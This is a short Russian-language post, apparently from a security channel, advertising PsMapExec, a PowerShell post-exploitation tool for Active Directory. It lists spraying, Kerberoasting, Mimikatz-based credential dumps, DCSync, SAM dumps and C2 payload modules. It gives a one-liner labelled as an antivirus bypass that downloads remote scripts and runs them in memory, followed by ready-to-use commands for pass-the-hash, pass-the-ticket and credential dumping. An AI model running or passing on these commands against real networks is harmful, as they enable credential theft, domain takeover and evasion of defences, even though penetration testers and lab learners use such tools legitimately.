💻 PsMapExec — отличный софт для пост эксплуатации 💻 Active Directory, написанный на PowerShell.

Начиная с версии 0.6.0, PsMapExec больше не имеет каких-либо внешних зависимостей, кроме модуля Amnesiac.

PsMapExec теперь можно запускать в ограниченных средах, таких как экзаменационные лаборатории или машины CTF

Текущая поддержка методов (протоколов):

• RDP
• SessionHunter
• SMB
• SMB Signing
• Spraying
• VNC
• WinRM
• WMI
• MSSQL
• Kerberoast

Реализованные модули:

• Amnesiac - выполнение Amnesiac C2 пейлоадов
• ConsoleHistory - история в PowerShell
• Files - файлы в типичных директориях
• KerbDump - дамп Kerberos билетов
• eKeys - дамп ключей (Mimikatz)
• LogonPasswords - дамп logon passwords (Mimikatz)
• LSA - дамп LSA (Mimikatz)
• NTDS - реализация DCsync
• SAM - дамп SAM

Загрузка скрипта в память (AV bypass):

IEX(New-Object System.Net.WebClient).DownloadString("https://raw.githubusercontent.com/The-Viper-One/PME-Scripts/main/Invoke-NETMongoose.ps1");IEX(New-Object System.Net.WebClient).DownloadString("https://raw.githubusercontent.com/The-Viper-One/PsMapExec/main/PsMapExec.ps1")

Примеры:

# Текущий пользователь
PsMapExec -Targets All -Method [Method]

# С паролем
PsMapExec -Targets All -Method [Method] -Username [Username] -Password [Password]

# С хешем
PsMapExec -Targets All -Method [Method] -Username [Username] -Hash [RC4/AES256]

# С билетом
PsMapExec -Targets All -Method [Method] -Ticket [doI.. OR Path to ticket file]

# Дамп SAM файла
PsMapExec -Targets DC.domain.local -Method SMB -Ticket [Base64-Ticket] -Module SAM

# Kerberoasting
PsMapExec -Method Kerberoast -ShowOutput

# Использование модулей
PsMapExec -Targets All -Method [Method] -Module [Module]